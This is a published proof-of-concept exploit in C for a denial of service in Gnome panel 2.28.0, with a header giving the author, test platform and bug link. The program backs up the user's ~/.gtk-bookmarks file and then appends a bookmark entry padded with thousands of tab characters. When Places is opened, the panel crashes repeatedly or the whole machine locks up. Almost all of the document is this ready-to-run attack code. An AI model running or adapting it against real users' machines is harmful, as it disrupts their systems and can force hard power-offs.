# Exploit Title: Gnome panel <= 2.28.0 denial of service poc 0-day
# Date: 06/01/2009
# Author: Pietro Oliva
# Software Link:
# Version: 2.28.0
# Tested on: ubuntu 9.10
# CVE : 
# Code :

/*********************************************************************************
*          Gnome panel <= 2.28.0 denial of service poc 0-day     *
*         by  Pietro Oliva <pietroliva@gmail.com>       *
*                     *
*        After executing this poc a backup file will be created             *
*                You can restore it by typing ./paneldos restore                 *
*           Using option restart gnome-panel will restart continuously           *
*          Using option totalblock you will need to remove the battery           *
*       After execution click application in the panel, then go to places        *
*                             and wait some seconds...          *
*       https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868        *
**********************************************************************************/



#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  FILE *f;
  unsigned long i;
  printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-day\n\n");
  if(!(f=fopen(".gtk-bookmarks","r")))
  {
    printf("%s","file not found! make sure you are running\nthis file from your home directory\n");
    return 1;
  }
  fclose(f);
  if((argv[1]==NULL))
  {
    printf("%s","please specify an argument!\n");
    printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
    return 1;
  }
  if(((strcmp(argv[1],"restart"))==0))
  i=9999;
  else if((strcmp(argv[1],"totalblock"))==0)
  i=99999;
  else if((strcmp(argv[1],"restore"))==0)
  {
    if(!(f=fopen(".backup","r")))
    {
      printf("%s","no backup found!\nmake sure you are running\nthis file from your home directory\n");
      return 1;
    }
    fclose(f);
    system("cp .backup .gtk-bookmarks");
    printf("%s","succesfully restored!\n");
    return 0;
  }
  else
  {
    printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
    return 1;
  }
  if(!(f=fopen(".backup","r")))
  {  
    printf("%s","creating backup...\n");
    system("cp .gtk-bookmarks .backup");
  }
  else
  fclose(f);
  f=fopen(".gtk-bookmarks","a");
  printf("%s","starting...\n");
  fwrite("file:///home ",1,13,f);
  while(i>0)
  {
    fwrite("\ta",1,2,f);
    i--;
  }
  fclose(f);
  printf("%s","done! now click applications in panel,\nslide to places, wait and see the result! :D\n");
  return 0;
}